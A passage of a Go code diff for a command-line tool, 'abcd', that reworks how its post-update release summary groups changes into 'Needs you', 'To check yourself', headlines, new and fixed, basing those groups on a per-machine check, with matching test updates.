(itd-2610161616086564)", + " To check yourself (1)", + " ? The bare verb no longer mints a record. (itd-2610161616086564)", " New (8)", } for i := 1; i <= 8; i++ { diff --git a/internal/core/afterupdate/fullview.go b/internal/core/afterupdate/fullview.go index 510376380a..05c82afad6 100644 --- a/internal/core/afterupdate/fullview.go +++ b/internal/core/afterupdate/fullview.go @@ -271,11 +271,20 @@ func (d drawer) draw(spans []span, base ...string) string { // ids names the records a change cites: the first, and a count of the rest. func ids(e releasedigest.Entry) string { - if len(e.Records) == 0 { + recs := make([]string, len(e.Records)) + for i, r := range e.Records { + recs[i] = r.ID + } + return recordIDs(recs) +} + +// recordIDs names records: the first, and a count of the rest. +func recordIDs(recs []string) string { + if len(recs) == 0 { return "" } - s := termsafe.SanitizeLine(e.Records[0].ID) - if n := len(e.Records) - 1; n > 0 { + s := termsafe.SanitizeLine(recs[0]) + if n := len(recs) - 1; n > 0 { s += fmt.Sprintf(" and %d more", n) } return "(" + s + ")" @@ -289,8 +298,20 @@ const minSummaryColumns = 10 // the window, and its record id. A window too narrow for the id beside a // readable summary drops the id, and the summary is cut to what is left. func (d drawer) changeLine(mark string, markCodes []string, e releasedigest.Entry) string { + return d.markedLine(mark, markCodes, headline(inline(e.Line)), ids(e)) +} + +// actLine is a change the check found something to do for, on one line: the +// mark, the action it names with the places it found (masked and fitted as a +// change's summary is), and the records it cites. +func (d drawer) actLine(mark string, markCodes []string, it ActItem) string { + return d.markedLine(mark, markCodes, trimSpans(inline(it.Action)), recordIDs(it.Records)) +} + +// markedLine is one line under a heading: the mark, spans fitted to the +// window, and tail, the record ids, dropped where the window is too narrow. +func (d drawer) markedLine(mark string, markCodes []string, spans []span, tail string) string { const indent = " " - tail := ids(e) room := 0 if d.st.Width > 0 { lead := len(indent) + len(mark) + 1 @@ -298,7 +319,7 @@ func (d drawer) changeLine(mark string, markCodes []string, e releasedigest.Entr tail, room = "", max(d.st.Width-lead, 1) } } - line := indent + d.paint(mark, markCodes...) + " " + d.draw(d.fit(headline(inline(e.Line)), room)) + line := indent + d.paint(mark, markCodes...) + " " + d.draw(d.fit(spans, room)) if tail != "" { line += " " + d.paint(tail, sgrDim) } @@ -324,10 +345,22 @@ func isNew(e releasedigest.Entry) bool { } // RenderFull draws the full summary in the style st: per release, its line, -// what needs the person, the headline changes, then the rest by area (what -// is new, what is fixed), one line per change with its record id; then the -// way to read one change whole, the releases not described, and what waits -// here. Full's Lines are this drawing in the plain style. +// what needs the person here, what they check themselves, the headline +// changes, then the rest by area (what is new, what is fixed), one line per +// change with its record id; then the way to read one change whole, the +// releases not described, and what waits here. Full's Lines are this drawing +// in the plain style. +// +// What needs the person, and what is theirs to check, come from f.Act, the +// checked items the short lines (newsLines) count, never from a record's +// impact alone, so the counts here and there agree: an item that needs the +// person is drawn as its action and the places it names, an unchecked one as +// its change, and a change the check found nothing to do for is drawn with +// the rest. actItems gives every breaking entry an item, one per entry key +// within a release, so a second entry under the same key is the same item, +// drawn once (the records it names lead to both through ChangeCommand). An +// entry no item covers (a summary built without its check) is drawn with the +// rest, as newsLines counts it nowhere. func RenderFull(f FullSummary, st Style) []string { d := drawer{st: st} sum := f.Summary @@ -341,23 +374,43 @@ func RenderFull(f FullSummary, st Style) []string { head += " (after " + termsafe.SanitizeLine(r.BaseTag) + ")" } out = append(out, d.paint(head+": "+plural(len(r.Entries), "change", "changes"), sgrBold)) - var needs, heads, added, fixed []releasedigest.Entry + checked := map[string]ActItem{} + for _, it := range f.Act { + if it.Release == r.Tag { + checked[strings.Join(it.Records, ",")] = it + } + } + drawn := map[string]bool{} + var needs, check, heads, added, fixed []string for _, e := range r.Entries { + if e.NeedsAction() { + key := entryKey(e) + if it, ok := checked[key]; ok && (it.State == ActNeedsYou || it.State == ActUnchecked) { + switch { + case drawn[key]: + case it.State == ActNeedsYou: + needs = append(needs, d.actLine("!", []string{sgrBold, sgrRed}, it)) + default: + check = append(check, d.changeLine("?", []string{sgrBold, sgrYellow}, e)) + } + drawn[key] = true + continue + } + } switch { - case e.NeedsAction(): - needs = append(needs, e) case len(heads) < maxHeadlines && isHeadline(e): - heads = append(heads, e) + heads = append(heads, d.changeLine("*", []string{sgrYellow}, e)) case isNew(e): - added = append(added, e) + added = append(added, d.changeLine("-", nil, e)) default: - fixed = append(fixed, e) + fixed = append(fixed, d.changeLine("-", nil, e)) } } - out = d.group(out, fmt.Sprintf("Needs you (%d)", len(needs)), []string{sgrBold, sgrRed}, "!", []string{sgrBold, sgrRed}, needs) - out = d.group(out, "Headlines", []string{sgrBold, sgrYellow}, "*", []string{sgrYellow}, heads) - out = d.group(out, fmt.Sprintf("New (%d)", len(added)), []string{sgrBold, sgrCyan}, "-", nil, added) - out = d.group(out, fmt.Sprintf("Fixed (%d)", len(fixed)), []string{sgrBold, sgrCyan}, "-", nil, fixed) + out = d.group(out, fmt.Sprintf("Needs you (%d)", len(needs)), []string{sgrBold, sgrRed}, needs) + out = d.group(out, fmt.Sprintf("To check yourself (%d)", len(check)), []string{sgrBold, sgrYellow}, check) + out = d.group(out, "Headlines", []string{sgrBold, sgrYellow}, heads) + out = d.group(out, fmt.Sprintf("New (%d)", len(added)), []string{sgrBold, sgrCyan}, added) + out = d.group(out, fmt.Sprintf("Fixed (%d)", len(fixed)), []string{sgrBold, sgrCyan}, fixed) } if len(sum.Releases) > 0 { out = append(out, d.paint("The whole text of one change: "+ChangeCommand, sgrDim)) @@ -378,16 +431,13 @@ func RenderFull(f FullSummary, st Style) []string { return out } -// group draws one heading and its changes, or nothing for no change. -func (d drawer) group(out []string, title string, titleCodes []string, mark string, markCodes []string, entries []releasedigest.Entry) []string { - if len(entries) == 0 { +// group draws one heading and its changes' lines, or nothing for no change. +func (d drawer) group(out []string, title string, titleCodes []string, lines []string) []string { + if len(lines) == 0 { return out } out = append(out, " "+d.paint(title, titleCodes...)) - for _, e := range entries { - out = append(out, d.changeLine(mark, markCodes, e)) - } - return out + return append(out, lines...) } // RenderChange draws each change of c whole in the style st: the release and diff --git a/internal/core/afterupdate/fullview_test.go b/internal/core/afterupdate/fullview_test.go index 4fd8404574..552f9579c9 100644 --- a/internal/core/afterupdate/fullview_test.go +++ b/internal/core/afterupdate/fullview_test.go @@ -87,8 +87,8 @@ func TestFullReadsAsASummaryThenAreas(t *testing.T) { } want := []string{ "abcd v0.16.0 (after v0.15.0): 9 changes", - " Needs you (1)", - " ! Verbs that move records now require a dry run first. (itd-13)", + " To check yourself (1)", + " ? Verbs that move records now require a dry run first. (itd-13)", " Headlines", " * A drive carries on from one command. (itd-11)", " * Head four. (itd-14)", @@ -124,7 +124,7 @@ func TestFullInColourIsThePlainFormStyled(t *testing.T) { t.Fatalf("the coloured form, unstyled:\n%s\nwant:\n%s", strings.Join(plainOf(colour), "\n"), strings.Join(f.Lines, "\n")) } joined := strings.Join(colour, "\n") - for _, want := range []string{"\x1b[1mabcd v0.16.0", "\x1b[1;31m", "\x1b[36mabcd decide accept \x1b[0m"} { + for _, want := range []string{"\x1b[1mabcd v0.16.0", "\x1b[1;33mTo check yourself (1)", "\x1b[36mabcd decide accept \x1b[0m"} { if !strings.Contains(joined, want) { t.Errorf("the coloured form lacks %q:\n%q", want, joined) } @@ -270,3 +270,82 @@ func TestInlineIsLinearInStrongEmphasis(t *testing.T) { t.Fatalf("reading a %d-byte line allocated %d bytes", len(line), got) } } + +// TestFullGroupsByTheCheckNotTheImpact: --full says what needs the person +// from the same checked items the short lines count, never from a record's +// breaking impact alone. A breaking change the check found fine here is drawn +// with the other changes; one it found something to do for needs the person, +// with the action and where; one it could not check is to check yourself. +// The counts in --full are the ones newsLines states for the same summary. +func TestFullGroupsByTheCheckNotTheImpact(t *testing.T) { + rec := func(id string, impact releasedigest.Impact) []releasedigest.Record { + return []releasedigest.Record{{ID: id, Impact: impact}} + } + sum := releasedigest.Summary{To: "v0.18.0", Releases: []releasedigest.Release{{ + Tag: "v0.18.0", + Entries: []releasedigest.Entry{ + {Line: "**A breaking change already fine here.** Body.", Records: rec("itd-21", releasedigest.ImpactBreaking)}, + {Line: "**A breaking change that needs you.** Body.", Records: rec("iss-22", releasedigest.ImpactBreaking)}, + {Line: "A breaking change abcd cannot check. More.", Records: rec("itd-23", releasedigest.ImpactBreaking)}, + {Line: "Added a thing. More.", Records: rec("itd-24", releasedigest.ImpactAdditive)}, + {Line: "Fixed a thing. More.", Records: rec("iss-25", releasedigest.ImpactFix)}, + }, + }}} + fine := ActItem{Release: "v0.18.0", Records: []string{"itd-21"}, State: ActFineHere, Action: "do nothing", + Line: " - already fine here: a change: nothing here uses it (itd-21)"} + needs := ActItem{Release: "v0.18.0", Records: []string{"iss-22"}, State: ActNeedsYou, + Action: "run the same command with --dry-run first in Makefile", Where: []string{"Makefile"}, + Line: " - needs you: run the same command with --dry-run first in Makefile (iss-22)"} + unchecked := ActItem{Release: "v0.18.0", Records: []string{"itd-23"}, State: ActUnchecked, + Line: " - abcd has no check for this change, so read it with " + FullCommand + " (itd-23)"} + + // The review's scenario: the one breaking change was checked and is fine. + onlyFine := RenderFull(FullSummary{Summary: releasedigest.Summary{To: "v0.18.0", Releases: []releasedigest.Release{{ + Tag: "v0.18.0", Entries: sum.Releases[0].Entries[:1], + }}}, Act: []ActItem{fine}}, Style{}) + if joined := strings.Join(onlyFine, "\n"); strings.Contains(joined, "Needs you") || strings.Contains(joined, "To check yourself") { + t.Errorf("a breaking change checked fine here is drawn as needing the person:\n%s", joined) + } + + items := []ActItem{fine, needs, unchecked} + f := FullSummary{Summary: sum, Act: items} + got := RenderFull(f, Style{}) + want := []string{ + "abcd v0.18.0: 5 changes", + " Needs you (1)", + " ! run the same command with --dry-run first in Makefile (iss-22)", + " To check yourself (1)", + " ? A breaking change abcd cannot check. (itd-23)", + " Headlines", + " * A breaking change already fine here. (itd-21)", + " New (1)", + " - Added a thing. (itd-24)", + " Fixed (1)", + " - Fixed a thing. (iss-25)", + "The whole text of one change: " + ChangeCommand, + } + if !slices.Equal(got, want) { + t.Fatalf("full:\n%s\nwant:\n%s", strings.Join(got, "\n"), strings.Join(want, "\n")) + } + if colour := RenderFull(f, Style{Colour: true}); !slices.Equal(plainOf(colour), got) || + !strings.Contains(strings.Join(colour, "\n"), "\x1b[1;31mNeeds you (1)") { + t.Errorf("the coloured form is not the plain form styled:\n%q", colour) + } + + // The counts --full states are the ones the short line states. + short := newsLines(sum, items) + countOf := func(lines []string, re string) string { + for _, l := range lines { + if m := regexp.MustCompile(re).FindStringSubmatch(l); m != nil { + return m[1] + } + } + return "0" + } + if n, s := countOf(got, `^ Needs you \((\d+)\)$`), countOf(short, `, (\d+) needs? you here`); n != s || n != "1" { + t.Errorf("--full says %s need you, the short line %s:\n%s", n, s, strings.Join(short, "\n")) + } + if n, s := countOf(got, `^ To check yourself \((\d+)\)$`), countOf(short, `, (\d+) to check yourself`); n != s || n != "1" { + t.Errorf("--full says %s to check yourself, the short line %s:\n%s", n, s, strings.Join(short, "\n")) + } +} diff --git a/internal/surface/cli/update_news.go b/internal/surface/cli/update_news.go index 27787d33d5..fe2f2940fe 100644 --- a/internal/surface/cli/update_news.go +++ b/internal/surface/cli/update_news.go @@ -44,7 +44,9 @@ func newUpdateNewsCommand(asJSON *bool) *cobra.Command { Use: "news", Args: cobra.NoArgs, Long: "After an abcd update, print what the agent relays at the start of its first reply: " + - "one line per release this computer has not been shown, saying how many changes it made and which need the person to act, " + + "one line per release this computer has not been shown, saying how many changes it made and how many need the person here, " + + "then a line for each change that can need them, after a check of this machine and this repository: needs you, with the one thing to do " + + "and the file or command it concerns, only where the check finds something to do, and already fine here otherwise; " + "and, where the update brings this repository setup it never answered, the offer to run setup again. " + "It prints nothing when there is nothing to say. --full prints the releases since the last update for a person: " + "per release, what needs them, then the headline changes, then the rest as new or fixed, one line per change with the record it cites, " + diff --git a/internal/surface/cli/update_news_test.go b/internal/surface/cli/update_news_test.go index 221f5fedbb..146ad659a9 100644 --- a/internal/surface/cli/update_news_test.go +++ b/internal/surface/cli/update_news_test.go @@ -78,14 +78,18 @@ func pathsUnder(t *testing.T, root string) string { } var ( - aliceNewsLine = regexp.MustCompile(`\Aabcd v0\.15\.0: \d+ changes(, \d+ needs? you to act \([a-z0-9, -]+\))?\. Ask for details: abcd update news --full\z`) + aliceNewsLine = regexp.MustCompile(`\Aabcd v0\.15\.0: \d+ changes, none needs you here\. Ask for details: abcd update news --full\z`) + aliceFineLine = regexp.MustCompile(`\A - already fine here: [^:]+: .+ \((?:itd|iss)-[0-9]+(?:, (?:itd|iss)-[0-9]+)*\)\z`) aliceOfferLine = regexp.MustCompile(`\Aabcd was updated from v0\.14\.2 to v0\.15\.0 since this repository was set up; \d+ setup questions? waits? here\. Run setup now\? \(yes / not now\)\z`) ) // TestUpdateNewsRelaysTheMomentAndWritesNothing: bare, the verb prints // the moment the agent relays, the news line for v0.15.0 from the binary's -// digest and then the offer; --json carries the same lines; and neither -// writes anything in the repository or the home. +// digest, a line for each of its three changes that can need the person, +// each checked here and fine in a repository they do not touch +// (iss-2612021704499060), and then the offer; --json carries the same lines +// and the checked items; and neither writes anything in the repository or the +// home. func TestUpdateNewsRelaysTheMomentAndWritesNothing(t *testing.T) { repo, home, _ := afterUpdateRepo(t) before := pathsUnder(t, home) + pathsUnder(t, repo) @@ -95,8 +99,13 @@ func TestUpdateNewsRelaysTheMomentAndWritesNothing(t *testing.T) { t.Fatalf("exit %d, stderr %q", code, stderr) } lines := strings.Split(strings.TrimSuffix(stdout, "\n"), "\n") - if len(lines) != 2 || !aliceNewsLine.MatchString(lines[0]) || !aliceOfferLine.MatchString(lines[1]) { - t.Fatalf("the moment is the news line, then the offer:\n%s", stdout) + if len(lines) != 5 || !aliceNewsLine.MatchString(lines[0]) || !aliceOfferLine.MatchString(lines[4]) { + t.Fatalf("the moment is the news line, its three checked changes, then the offer:\n%s", stdout) + } + for _, l := range lines[1:4] { + if !aliceFineLine.MatchString(l) { + t.Fatalf("a change that does not apply here is not reported as fine: %q", l) + } } jsonOut, _, code := runUpdateNews("--json") @@ -105,6 +114,10 @@ func TestUpdateNewsRelaysTheMomentAndWritesNothing(t *testing.T) { } var m struct { Lines []string `json:"lines"` + Act []struct { + State string `json:"state"` + Action string `json:"action"` + } `json:"act"` Offer *struct { From string `json:"from"` To string `json:"to"` @@ -113,6 +126,9 @@ func TestUpdateNewsRelaysTheMomentAndWritesNothing(t *testing.T) { if err := json.Unmarshal([]byte(jsonOut), &m); err != nil { t.Fatalf("--json: %v\n%s", err, jsonOut) } + if len(m.Act) != 3 || m.Act[0].State != "fine-here" || m.Act[0].Action == "" { + t.Fatalf("--json does not carry the checked changes: %s", jsonOut) + } if strings.Join(m.Lines, "\n") != strings.Join(lines, "\n") || m.Offer == nil || m.Offer.From != "v0.14.2" || m.Offer.To != "v0.15.0" { t.Fatalf("--json does not carry the moment: %s", jsonOut) }